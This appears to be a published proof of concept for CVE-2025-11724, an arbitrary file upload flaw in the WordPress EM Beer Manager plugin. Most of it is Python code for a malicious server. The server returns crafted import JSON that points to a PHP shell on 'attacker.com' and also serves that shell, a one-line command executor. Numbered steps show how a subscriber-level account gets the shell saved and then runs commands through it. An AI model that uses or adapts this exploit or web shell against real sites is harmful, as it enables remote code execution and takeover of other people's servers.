CVE-2025-11724 WordPress EM Beer Manager插件任意文件上传漏洞

import json import http.server import socketserver import base64 # PoC for CVE-2025-11724 - EM Beer Manager Arbitrary File Upload # This is a mock HTTP server that serves malicious JSON data class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if '/untappd-feed' in self.path: # Return malicious JSON with PHP shell URL response = { 'response': { 'checkins': { 'items': [{ 'media': { 'photo': { 'img_id': 12345, 'photo_img_md': 'http://attacker.com/shell.php', # Malicious PHP file URL 'caption': 'test' } } }] } } } self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(json.dumps(response).encode()) elif '/shell.php' in self.path: # Serve malicious PHP shell php_shell = b'<?php system($_GET["cmd"]); ?>' self.send_response(200) self.send_header('Content-Type', 'text/plain') self.send_header('Content-Length', len(php_shell)) self.end_headers() self.wfile.write(php_shell) else: self.send_response(404) self.end_headers() PORT = 8080 with socketserver.TCPServer(('', PORT), MaliciousHandler) as httpd: print(f'Malicious server running on port {PORT}') httpd.serve_forever() # WordPress Exploitation: # 1. Attacker needs subscriber-level account # 2. Setup malicious HTTP server above # 3. Send AJAX request to wp-admin/admin-ajax.php with action=embm-untappd-import # 4. The plugin will download and save shell.php to uploads directory # 5. Access shell.php via web to execute commands